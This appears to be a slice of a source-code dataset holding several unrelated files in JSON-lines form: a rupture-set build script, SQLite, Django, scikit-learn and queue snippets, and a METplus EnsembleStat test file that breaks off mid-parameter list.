self.on_market_closed(market_book)\n","sub_path":"flumine/resources/recorder.py","file_name":"recorder.py","file_ext":"py","file_size_in_byte":3678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"41936885","text":"#run_crustal_rupture_default.py\n# import json\n# import git\n# import csv\nimport os\nfrom pathlib import PurePath\nfrom py4j.java_gateway import JavaGateway\nimport datetime as dt\nfrom dateutil.tz import tzutc\n\n\ndef run_task(builder,\n crustal_filename, filekey,\n ddw, distance, max_cumulative_azimuth, min_sub_sects_per_parent,\n strategy, thinning_factor):\n t0 = dt.datetime.utcnow()\n outputfile = output_folder.joinpath(\"ruptset_DEPTH30_ddw%s_jump%s_%s_%s_%s_%s_thin%s.zip\" % (ddw,\n distance, filekey, max_cumulative_azimuth, min_sub_sects_per_parent, strategy, thinning_factor))\n\n print(\"building %s started at %s\" % (outputfile, dt.datetime.utcnow().isoformat()), end=' ')\n\n # Run the task....\n builder\\\n .setMaxJumpDistance(distance)\\\n .setPermutationStrategy(strategy)\\\n .setMaxSubSectionLength(ddw)\\\n .setMinSubSectsPerParent(min_sub_sects_per_parent)\\\n .setMaxCumulativeAzimuthChange(max_cumulative_azimuth)\\\n .setFaultModelFile(crustal_filename)\\\n .setThinningFactor(thinning_factor)\n\n builder.buildRuptureSet()\n\n #capture task metrics\n #duration = (dt.datetime.utcnow() - t0).total_seconds()\n # metrics = ruptureSetMetrics(builder)\n\n #create the output dataset\n builder.writeRuptureSet(str(outputfile))\n print(\"; took %s secs\" % (dt.datetime.utcnow() - t0).total_seconds())\n\nif __name__ == \"__main__\":\n\n #setup the java gateway binding\n gateway = JavaGateway()\n app = gateway.entry_point\n builder = app.getBuilder()\n\n #get the root path for the task local data\n root_folder = PurePath(os.getcwd())\n\n repos = [\"opensha-ucerf3\", \"opensha-commons\", \"opensha-core\", \"nshm-nz-opensha\"]\n #repo_root = root_folder\n output_folder = root_folder.joinpath('tmp').joinpath(dt.datetime.utcnow().isoformat().replace(':','-'))\n os.mkdir(output_folder)\n\n ##Test parameters\n crustal_filename = str(root_folder.joinpath(\"nshm-nz-opensha/data/FaultModels/SANSTVZ2_crustal_opensha.xml\"))\n filekey = \"SANS_TVZ2\"\n strategy = 'UCERF3' #, ] #'POINTS'] #, 'UCERF3' == DOWNDIP]\n distance = 5.0 #, 5.1, 5.2, 5.3]\n ddw = 0.5 #, 1.5, 2.0, 2.5]\n min_sub_sects_per_parent = 2 #,3,4]\n max_cumulative_azimuth = 580.0 #, 600.0]\n thinning_factor = 0.0 #.075 #, 0.2, 0.0]\n\n #test the tests, nomally 1000 for NZ CFM\n max_sections = 1000\n\n #Run the task....\n run_task(builder, crustal_filename, filekey,\n ddw, distance, max_cumulative_azimuth, min_sub_sects_per_parent,\n strategy, thinning_factor)\n\n print(\"Done!\")\n","sub_path":"src/python/automation/arkiv/run_example_crustal_rupture.py","file_name":"run_example_crustal_rupture.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"132861010","text":"import sqlite3\n\nconn = sqlite3.connect('music.db')\n\nc = conn.cursor()\n\nf = open('fisier.txt') #numele fisierului in care ai extras datele\n\n#citim fiecare linie din fisier, ii facem split dupa un separator unic, se fac operatii cu cuvintele reuzultate, dupa care se insereaza in BD\n\nfor line in f:\n words = line.split('separator') #inlocuiesti cu simbolul corect\n\n #operatii cu cuvintele\n\n\n#dupa ce prelucrezi datele, formeaza un nou fisier cu toate datele complete pentru baza de date, in aceasta ordine:\n#artist, songTitle, genre, musicData\n#acolo unde nu ai informatiile, gen lyrics, pune 0 ca linia pe care o formezi in fisier sa aiba toate datele pentru inserare\n\nfile = open ('noul fisier cu toate informatiile')\nfor line in file:\n c.execute('insert into music values (?,?,?,?)', line)\n\nconn.commit()","sub_path":"Database/DatabaseInsert.py","file_name":"DatabaseInsert.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"642502982","text":"from django.conf.urls import patterns, url\n#from django.conf.urls import include\n#from .views import index, index2\n\nurlpatterns = patterns('',\n\t#url(r'^$', 'apps.inicio.views.index'),\n\t#url(r'^$', index.as_view()),\n\n\turl(r'^$', 'django.contrib.auth.views.login',\n\t\t{'template_name':'inicio/index.html'}, name = 'login'),\n\n\turl(r'^cerrar/$', 'django.contrib.auth.views.logout_then_login',\n\t\tname = 'logout'),\n)","sub_path":"SistemaSH/apps/inicio/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"477076498","text":"__author__ = 'jeroendevries'\nbedrag = 4356\ndef mensen():\n global men\n print(\"Hoeveel mensen gaan er mee?\");men = input()\n\ndef kosten_pp(n):\n \"\"\"\n Berekent de kosten pp\n :arg :De hoeveelheid mensen\n :return:\n Kosten pp\n \"\"\"\n\n if int(men) == 0:\n print(\"Delen door 0 mag niet!\")\n else:\n try:\n kosten = bedrag / int(men)\n return kosten\n except:\n print(\"Onverwachte fout\")\n\nmensen()\nprint(kosten_pp(men))","sub_path":"Week_3_College_1/3.2.1 Exceptions stap 1.py","file_name":"3.2.1 Exceptions stap 1.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"270191504","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Dealer\n ======\n\n Dealer tools for watching SCM.\n\n\"\"\"\n\n__version__ = '0.1.8'\n__project__ = __name__\n__author__ = \"Kirill Klenov \"\n__license__ = \"BSD\"\n\n\ndef get_backend(name, **kwargs):\n \" Create backend by name. \"\n\n from importlib import import_module\n\n mod = import_module(__name__ + '.' + name)\n return mod.Backend(**kwargs)\n","sub_path":"dealer/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"44129560","text":"#coding=utf-8\nimport requests\n\ndef test():\n url = \"http://biz-test.jiutongpay.com.cn\"\n headers = {\n \"User-Agent\": 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'\n }\n\n s = requests.session()\n r = requests.get(url=url,headers=headers,verify=Flase)\n print(s.cookies)\n c = requests.cookies\n\nif __name__ == \"__main__\":\n test()","sub_path":"requestss/jt_requests.py","file_name":"jt_requests.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"21892170","text":"from sklearn.datasets import fetch_20newsgroups\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\ndef nb_news():\n \"\"\"\n朴素贝叶斯进行文本分类\n :return: None\n \"\"\"\n # 获取数据\n news = fetch_20newsgroups(subset=\"all\")\n # 数据处理--划分数据集\n x_train,x_test,y_train,y_test = train_test_split(news.data,news.target)\n # 特征工程--文本特征抽取（tfidf）\n transfer = TfidfVectorizer()\n x_train = transfer.fit_transform(x_train)\n x_test = transfer.transform(x_test)\n # 朴素贝叶斯算法评估器流程\n estimator = MultinomialNB()\n estimator.fit(x_train,y_train)\n # 模型评估\n #方法1：直接对比真实值和预测值\n y_predict = estimator.predict(x_test)\n print(\"预测值：\",y_predict)\n print(\"真实值和实际值的比对：\",y_predict==y_test)\n #方法2：准确率进行判断\n print(estimator.score(x_test,y_test))\n return None\nif __name__ == \"__main__\":\n nb_news()","sub_path":"day_03_bayes.py","file_name":"day_03_bayes.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"59760744","text":"import collections\nimport queue\n\n\n# First in First out のキュー\nq = queue.Queue()\n\n# Last in First out のキュー(最後にinしたものを最初にoutする)\nlq = queue.LifoQueue()\n\n# リスト\nl = list()\n\n# リストより高速なのでキューやスタックとしてデータを扱う際はdequeを使った方が良い\nd = collections.deque()\n\n\nfor i in range(3):\n q.put(i)\n lq.put(i)\n l.append(i)\n d.append(i)\n\nfor _ in range(3):\n print('FIFO : {}'.format(q.get()))\n print('LIFO : {}'.format(lq.get()))\n print('LIST : {}'.format(l.pop(0)))\n print('DEQUE: {}'.format(d.popleft()))\n","sub_path":"lesson/18/229.py","file_name":"229.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"103024849","text":"import sys\nimport io\n\n# Get input file via arguments\nfileName = sys.argv[1]\n\n# Create data structures needed\n\n\n# Open input file for reading\ninText = open(fileName, 'r')\n\n# Main loop for reading line by line\nwhile True:\n # currentLine is the line read by interpretative\n currentLine = inText.readline()\n\n # Parse commands and process them\n\n # End of file\n if not currentLine:\n exit(0)\n","sub_path":"assignment3.py","file_name":"assignment3.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"588250617","text":"from setuptools import setup\nfrom os import path\n\n\ndef read(fn):\n dir = path.dirname('__file__')\n with open(path.join(dir, fn)) as fp:\n return fp.read()\n\n\nsetup(\n name='tah_common',\n version=read('VERSION'),\n author='Till Hoffmann',\n author_email='tillahoffmann@gmail.com',\n description='commonly used functionality',\n long_description=read('README.md'),\n url='https://github.com/tillahoffmann/tah_common',\n packages=['tah_common'],\n requires=[\n 'numpy',\n 'scipy',\n 'matplotlib',\n 'pandas',\n ]\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"339743469","text":"#!/usr/bin/env python3\n\nimport pytest\n\nimport os\n\nfrom datetime import datetime\n\n\nfrom metplus.wrappers.ensemble_stat_wrapper import EnsembleStatWrapper\n\nfcst_dir = '/some/path/fcst'\nobs_dir = '/some/path/obs'\nens_mean_dir = '/some/path/ens_mean'\nens_mean_template = 'the_ens_mean_file.nc'\nobs_point_template = 'point_obs.nc'\nfcst_name = 'APCP'\nfcst_level = 'A03'\nobs_name = 'APCP_03'\nobs_level_no_quotes = '(*,*)'\nobs_level = f'\"{obs_level_no_quotes}\"'\nfcst_fmt = f'field = [{{ name=\"{fcst_name}\"; level=\"{fcst_level}\"; }}];'\nobs_fmt = (f'field = [{{ name=\"{obs_name}\"; '\n f'level=\"{obs_level_no_quotes}\"; }}];')\n\ntime_fmt = '%Y%m%d%H'\nrun_times = ['2005080700', '2005080712']\n\n\ndef set_minimum_config_settings(config, set_fields=True):\n # set config variables to prevent command from running and bypass check\n # if input files actually exist\n config.set('config', 'DO_NOT_RUN_EXE', True)\n config.set('config', 'INPUT_MUST_EXIST', False)\n\n # set process and time config variables\n config.set('config', 'PROCESS_LIST', 'EnsembleStat')\n config.set('config', 'LOOP_BY', 'INIT')\n config.set('config', 'INIT_TIME_FMT', time_fmt)\n config.set('config', 'INIT_BEG', run_times[0])\n config.set('config', 'INIT_END', run_times[-1])\n config.set('config', 'INIT_INCREMENT', '12H')\n config.set('config', 'LEAD_SEQ', '12H')\n config.set('config', 'LOOP_ORDER', 'times')\n config.set('config', 'ENSEMBLE_STAT_N_MEMBERS', 1)\n config.set('config', 'ENSEMBLE_STAT_CONFIG_FILE',\n '{PARM_BASE}/met_config/EnsembleStatConfig_wrapped')\n config.set('config', 'FCST_ENSEMBLE_STAT_INPUT_DIR', fcst_dir)\n config.set('config', 'OBS_ENSEMBLE_STAT_GRID_INPUT_DIR', obs_dir)\n config.set('config', 'FCST_ENSEMBLE_STAT_INPUT_TEMPLATE',\n '{init?fmt=%Y%m%d%H}/fcst_file_F{lead?fmt=%3H}')\n config.set('config', 'OBS_ENSEMBLE_STAT_GRID_INPUT_TEMPLATE',\n '{valid?fmt=%Y%m%d%H}/obs_file')\n config.set('config', 'ENSEMBLE_STAT_OUTPUT_DIR',\n '{OUTPUT_BASE}/EnsembleStat/output')\n config.set('config', 'ENSEMBLE_STAT_OUTPUT_TEMPLATE', '{valid?fmt=%Y%m%d%H}')\n\n if set_fields:\n config.set('config', 'FCST_VAR1_NAME', fcst_name)\n config.set('config', 'FCST_VAR1_LEVELS', fcst_level)\n config.set('config', 'OBS_VAR1_NAME', obs_name)\n config.set('config', 'OBS_VAR1_LEVELS', obs_level)\n\n\n@pytest.mark.parametrize(\n 'config_overrides, expected_filename', [\n # 0 - set forecast level\n ({'FCST_VAR1_NAME': 'fcst_file',\n 'FCST_VAR1_LEVELS': 'A06',\n 'OBS_VAR1_NAME': 'obs_file',\n 'OBS_VAR1_LEVELS': 'A06',\n 'FCST_ENSEMBLE_STAT_INPUT_TEMPLATE': '{fcst_name}_A{level?fmt=%3H}',\n },\n f'{fcst_dir}/fcst_file_A006'),\n # 1 - don't set forecast level\n ({'FCST_ENSEMBLE_STAT_INPUT_TEMPLATE': 'fcst_file_A{level?fmt=%3H}'},\n f'{fcst_dir}/fcst_file_A000'),\n ]\n)\n@pytest.mark.wrapper_c\ndef test_ensemble_stat_level_in_template(metplus_config, config_overrides,\n expected_filename):\n\n config = metplus_config\n\n set_minimum_config_settings(config, set_fields=False)\n\n # set config variable overrides\n for key, value in config_overrides.items():\n config.set('config', key, value)\n\n wrapper = EnsembleStatWrapper(config)\n assert wrapper.isOK\n\n file_list_dir = wrapper.config.getdir('FILE_LISTS_DIR')\n file_list_file = f\"{file_list_dir}/20050807000000_12_ensemble_stat.txt\"\n if os.path.exists(file_list_file):\n os.remove(file_list_file)\n\n wrapper.run_all_times()\n assert os.path.exists(file_list_file)\n with open(file_list_file, 'r') as file_handle:\n filenames = file_handle.read().splitlines()[1:]\n assert len(filenames) == 1\n assert filenames[0] == expected_filename\n\n\n@pytest.mark.parametrize(\n 'config_overrides, env_var_values', [\n # 0 : no ens, 1 fcst, 1 obs\n ({'FCST_VAR1_NAME': 'fcst_name_1',\n 'FCST_VAR1_LEVELS': 'FCST_LEVEL_1',\n 'OBS_VAR1_NAME': 'obs_name_1',\n 'OBS_VAR1_LEVELS': 'OBS_LEVEL_1',\n },\n {'METPLUS_FCST_FIELD': ('field = ['\n '{ name=\"fcst_name_1\"; level=\"FCST_LEVEL_1\"; }'\n '];'),\n 'METPLUS_OBS_FIELD': ('field = ['\n '{ name=\"obs_name_1\"; level=\"OBS_LEVEL_1\"; }'\n '];'),\n }),\n ]\n)\n@pytest.mark.wrapper_c\ndef test_ensemble_stat_field_info(metplus_config, config_overrides,\n env_var_values):\n\n config = metplus_config\n\n set_minimum_config_settings(config, set_fields=False)\n\n # set config variable overrides\n for key, value in config_overrides.items():\n config.set('config', key, value)\n\n wrapper = EnsembleStatWrapper(config)\n assert wrapper.isOK\n\n all_cmds = wrapper.run_all_times()\n\n assert len(all_cmds) == 2\n\n actual_env_vars = all_cmds[0][1]\n for key, expected_value in env_var_values.items():\n match = next((item for item in actual_env_vars if\n item.startswith(key)), None)\n assert match is not None\n actual_value = match.split('=', 1)[1]\n assert actual_value == expected_value\n print(f\"ACTUAL : {actual_value}\")\n print(f\"EXPECTED: {expected_value}\")\n\n\n@pytest.mark.parametrize(\n 'config_overrides, env_var_values', [\n # 0 no climo settings\n ({}, {}),\n # 1 mean template only\n ({'ENSEMBLE_STAT_CLIMO_MEAN_INPUT_TEMPLATE': 'gs_mean_{init?fmt=%Y%m%d%H}.tmpl'},\n {'CLIMO_MEAN_FILE': '\"gs_mean_YMDH.tmpl\"',\n 'CLIMO_STDEV_FILE': '', }),\n # 2 mean template and dir\n ({'ENSEMBLE_STAT_CLIMO_MEAN_INPUT_TEMPLATE': 'gs_mean_{init?fmt=%Y%m%d%H}.tmpl',\n 'ENSEMBLE_STAT_CLIMO_MEAN_INPUT_DIR': '/climo/mean/dir'},\n {'CLIMO_MEAN_FILE': '\"/climo/mean/dir/gs_mean_YMDH.tmpl\"',\n 'CLIMO_STDEV_FILE': '', }),\n # 3 stdev template only\n ({'ENSEMBLE_STAT_CLIMO_STDEV_INPUT_TEMPLATE': 'gs_stdev_{init?fmt=%Y%m%d%H}.tmpl'},\n {'CLIMO_STDEV_FILE': '\"gs_stdev_YMDH.tmpl\"', }),\n # 4 stdev template and dir\n ({'ENSEMBLE_STAT_CLIMO_STDEV_INPUT_TEMPLATE': 'gs_stdev_{init?fmt=%Y%m%d%H}.tmpl',\n 'ENSEMBLE_STAT_CLIMO_STDEV_INPUT_DIR': '/climo/stdev/dir'},\n {'CLIMO_STDEV_FILE': '\"/climo/stdev/dir/gs_stdev_YMDH.tmpl\"', }),\n ]\n)\n@pytest.mark.wrapper_c\ndef test_handle_climo_file_variables(metplus_config, config_overrides,\n env_var_values):\n \"\"\"! Ensure that old and new variables for setting climo_mean and\n climo_stdev are set to the correct values\n \"\"\"\n old_env_vars = ['CLIMO_MEAN_FILE',\n 'CLIMO_STDEV_FILE']\n config = metplus_config\n\n set_minimum_config_settings(config)\n\n # set config variable overrides\n for key, value in config_overrides.items():\n config.set('config', key, value)\n\n wrapper = EnsembleStatWrapper(config)\n assert wrapper.isOK\n\n all_cmds = wrapper.run_all_times()\n assert len(all_cmds) == len(run_times)\n for (_, actual_env_vars), run_time in zip(all_cmds, run_times):\n run_dt = datetime.strptime(run_time, time_fmt)\n ymdh = run_dt.strftime('%Y%m%d%H')\n print(f\"ACTUAL ENV VARS: {actual_env_vars}\")\n for old_env in old_env_vars:\n match = next((item for item in actual_env_vars if\n item.startswith(old_env)), None)\n assert match is not None\n actual_value = match.split('=', 1)[1]\n expected_value = env_var_values.get(old_env, '')\n expected_value = expected_value.replace('YMDH', ymdh)\n assert expected_value == actual_value\n\n\n@pytest.mark.parametrize(\n 'config_overrides, env_var_values', [\n ({'MODEL': 'my_model'},\n {'METPLUS_MODEL': 'model = \"my_model\";'}),\n\n ({'ENSEMBLE_STAT_DESC': 'my_desc'},\n {'METPLUS_DESC': 'desc = \"my_desc\";'}),\n\n ({'DESC': 'my_desc'},\n {'METPLUS_DESC': 'desc = \"my_desc\";'}),\n\n ({'OBTYPE': 'my_obtype'},\n {'METPLUS_OBTYPE': 'obtype = \"my_obtype\";'}),\n\n ({'ENSEMBLE_STAT_REGRID_TO_GRID': 'FCST',\n },\n {'METPLUS_REGRID_DICT': 'regrid = {to_grid = FCST;}',\n 'REGRID_TO_GRID': 'FCST'}),\n\n ({'ENSEMBLE_STAT_REGRID_METHOD': 'NEAREST',\n },\n {'METPLUS_REGRID_DICT': 'regrid = {method = NEAREST;}'}),\n\n ({'ENSEMBLE_STAT_REGRID_WIDTH': '1',\n },\n {'METPLUS_REGRID_DICT': 'regrid = {width = 1;}'}),\n\n ({'ENSEMBLE_STAT_REGRID_VLD_THRESH': '0.5',\n },\n {'METPLUS_REGRID_DICT': 'regrid = {vld_thresh = 0.5;}'}),\n\n ({'ENSEMBLE_STAT_REGRID_SHAPE': 'SQUARE',\n },\n {'METPLUS_REGRID_DICT': 'regrid = {shape = SQUARE;}'}),\n\n ({'ENSEMBLE_STAT_REGRID_CONVERT': '2*x', },\n {'METPLUS_REGRID_DICT': 'regrid = {convert(x) = 2*x;}'}),\n\n ({'ENSEMBLE_STAT_REGRID_CENSOR_THRESH': '>12000,<5000', },\n {'METPLUS_REGRID_DICT': 'regrid = {censor_thresh = [>12000, <5000];}'}),\n\n ({'ENSEMBLE_STAT_REGRID_CENSOR_VAL': '12000,5000', },\n {'METPLUS_REGRID_DICT': 'regrid = {censor_val = [12000, 5000];}'}),\n\n ({'ENSEMBLE_STAT_REGRID_TO_GRID': 'FCST',\n 'ENSEMBLE_STAT_REGRID_METHOD': 'NEAREST',\n 'ENSEMBLE_STAT_REGRID_WIDTH': '1',\n 'ENSEMBLE_STAT_REGRID_VLD_THRESH': '0.5',\n 'ENSEMBLE_STAT_REGRID_SHAPE': 'SQUARE',\n 'ENSEMBLE_STAT_REGRID_CONVERT': '2*x',\n 'ENSEMBLE_STAT_REGRID_CENSOR_THRESH': '>12000,<5000',\n 'ENSEMBLE_STAT_REGRID_CENSOR_VAL': '12000,5000',\n },\n {'METPLUS_REGRID_DICT': ('regrid = {to_grid = FCST;method = NEAREST;'\n 'width = 1;vld_thresh = 0.5;shape = SQUARE;'\n 'convert(x) = 2*x;'\n 'censor_thresh = [>12000, <5000];'\n 'censor_val = [12000, 5000];}'\n ),\n 'REGRID_TO_GRID': 'FCST'}),\n\n ({'ENSEMBLE_STAT_CLIMO_MEAN_INPUT_TEMPLATE':\n '/some/path/climo/filename.nc',\n },\n {'METPLUS_CLIMO_MEAN_DICT':\n 'climo_mean = {file_name = [\"/some/path/climo/filename.nc\"];}',\n 'CLIMO_MEAN_FILE':\n '\"/some/path/climo/filename.nc\"',\n }),\n ({'ENSEMBLE_STAT_CLIMO_STDEV_INPUT_TEMPLATE':\n '/some/path/climo/stdfile.nc',\n },\n {'METPLUS_CLIMO_STDEV_DICT':\n 'climo_stdev = {file_name = [\"/some/path/climo/stdfile.nc\"];}',\n 'CLIMO_STDEV_FILE':\n '\"/some/path/climo/stdfile.nc\"',\n }),\n # 12 mask grid and poly (old config var)\n ({'ENSEMBLE_STAT_MASK_GRID': 'FULL',\n 'ENSEMBLE_STAT_VERIFICATION_MASK_TEMPLATE': 'one, two',\n },\n {'METPLUS_MASK_GRID':\n 'grid = [\"FULL\"];',\n 'METPLUS_MASK_POLY':\n 'poly = [\"one\", \"two\"];',\n }),\n # 13 mask grid and poly (new config var)\n ({'ENSEMBLE_STAT_MASK_GRID': 'FULL',\n 'ENSEMBLE_STAT_MASK_POLY': 'one, two',\n },\n {'METPLUS_MASK_GRID':\n 'grid = [\"FULL\"];',\n 'METPLUS_MASK_POLY':\n 'poly = [\"one\", \"two\"];',\n }),\n # 14 mask grid value\n ({'ENSEMBLE_STAT_MASK_GRID': 'FULL',\n },\n {'METPLUS_MASK_GRID':\n 'grid = [\"FULL\"];',\n }),\n # 15 mask grid empty string (should create empty list)\n ({'ENSEMBLE_STAT_MASK_GRID': '',\n },\n {'METPLUS_MASK_GRID':\n 'grid = [];',\n }),\n # 16 mask poly (old config var)\n ({'ENSEMBLE_STAT_VERIFICATION_MASK_TEMPLATE': 'one, two',\n },\n {'METPLUS_MASK_POLY':\n 'poly = [\"one\", \"two\"];',\n }),\n # 27 mask poly (new config var)\n ({'ENSEMBLE_STAT_MASK_POLY': 'one, two',\n },\n {'METPLUS_MASK_POLY':\n 'poly = [\"one\", \"two\"];',\n }),\n # output_prefix\n ({'ENSEMBLE_STAT_OUTPUT_PREFIX': 'my_output_prefix'},\n {'METPLUS_OUTPUT_PREFIX': 'output_prefix = \"my_output_prefix\";'}),\n # output_flag individual and all at once\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_ECNT': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {ecnt = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_RPS': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {rps = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_RHIST': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {rhist = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_PHIST': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {phist = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_ORANK': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {orank = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_SSVAR': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {ssvar = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_RELP': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {relp = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_PCT': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {pct = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_PSTD': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {pstd = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_PJC': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {pjc = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_PRC': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {prc = STAT;}'}),\n\n ({'ENSEMBLE_STAT_OUTPUT_FLAG_ECLV': 'STAT', },\n {'METPLUS_OUTPUT_FLAG_DICT': 'output_flag = {eclv = STAT;}'}),\n\n ({\n 'ENSEMBLE_STAT_OUTPUT_FLAG_ECNT': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_RPS': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_RHIST': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_PHIST': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_ORANK': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_SSVAR': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_RELP': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_PCT': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_PSTD': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_PJC': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_PRC': 'STAT',\n 'ENSEMBLE_STAT_OUTPUT_FLAG_ECLV': 'STAT',\n },\n {\n 'METPLUS_OUTPUT_FLAG_DICT': ('output_flag = {ecnt = STAT;'\n 'rps = STAT;rhist = STAT;'\n 'phist = STAT;orank = STAT;'\n 'ssvar = STAT;relp = STAT;'\n 'pct = STAT;pstd = STAT;'\n 'pjc = STAT;prc = STAT;eclv = STAT;'\n '}')}),\n # nc_orank_flag\n ({'ENSEMBLE_STAT_NC_ORANK_FLAG_LATLON': 'True', },\n {'METPLUS_NC_ORANK_FLAG_DICT': 'nc_orank_flag = {latlon = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_NC_ORANK_FLAG_MEAN': 'True', },\n {'METPLUS_NC_ORANK_FLAG_DICT': 'nc_orank_flag = {mean = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_NC_ORANK_FLAG_RAW': 'True', },\n {'METPLUS_NC_ORANK_FLAG_DICT': 'nc_orank_flag = {raw = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_NC_ORANK_FLAG_RANK': 'True', },\n {'METPLUS_NC_ORANK_FLAG_DICT': 'nc_orank_flag = {rank = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_NC_ORANK_FLAG_PIT': 'True', },\n {'METPLUS_NC_ORANK_FLAG_DICT': 'nc_orank_flag = {pit = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_NC_ORANK_FLAG_VLD_COUNT': 'True', },\n {\n 'METPLUS_NC_ORANK_FLAG_DICT': 'nc_orank_flag = {vld_count = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_NC_ORANK_FLAG_WEIGHT': 'True', },\n {'METPLUS_NC_ORANK_FLAG_DICT': 'nc_orank_flag = {weight = TRUE;}'}),\n\n ({\n 'ENSEMBLE_STAT_NC_ORANK_FLAG_LATLON': 'True',\n 'ENSEMBLE_STAT_NC_ORANK_FLAG_MEAN': 'True',\n 'ENSEMBLE_STAT_NC_ORANK_FLAG_RAW': 'True',\n 'ENSEMBLE_STAT_NC_ORANK_FLAG_RANK': 'True',\n 'ENSEMBLE_STAT_NC_ORANK_FLAG_PIT': 'True',\n 'ENSEMBLE_STAT_NC_ORANK_FLAG_VLD_COUNT': 'True',\n 'ENSEMBLE_STAT_NC_ORANK_FLAG_WEIGHT': 'True',\n },\n {\n 'METPLUS_NC_ORANK_FLAG_DICT': ('nc_orank_flag = {latlon = TRUE;'\n 'mean = TRUE;raw = TRUE;'\n 'rank = TRUE;pit = TRUE;'\n 'vld_count = TRUE;'\n 'weight = TRUE;}')\n }),\n\n # climo_cdf dictionary\n ({'ENSEMBLE_STAT_CLIMO_CDF_CDF_BINS': '1', },\n {'METPLUS_CLIMO_CDF_DICT': 'climo_cdf = {cdf_bins = 1.0;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_CDF_CENTER_BINS': 'True', },\n {'METPLUS_CLIMO_CDF_DICT': 'climo_cdf = {center_bins = TRUE;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_CDF_WRITE_BINS': 'False', },\n {'METPLUS_CLIMO_CDF_DICT': 'climo_cdf = {write_bins = FALSE;}'}),\n\n ({'ENSEMBLE_STAT_CLIMO_CDF_DIRECT_PROB': 'False', },\n {'METPLUS_CLIMO_CDF_DICT': 'climo_cdf = {direct_prob = FALSE;}'}),\n\n ({\n 'ENSEMBLE_STAT_CLIMO_CDF_CDF_BINS': '1',\n 'ENSEMBLE_STAT_CLIMO_CDF_CENTER_BINS': 'True',\n 'ENSEMBLE_STAT_CLIMO_CDF_WRITE_BINS': 'False',\n 'ENSEMBLE_STAT_CLIMO_CDF_DIRECT_PROB': 'False',\n },\n {\n 'METPLUS_CLIMO_CDF_DICT': 'climo_cdf = {cdf_bins = 1.0;center_bins = TRUE;write_bins = FALSE;direct_prob = FALSE;}'}),\n\n 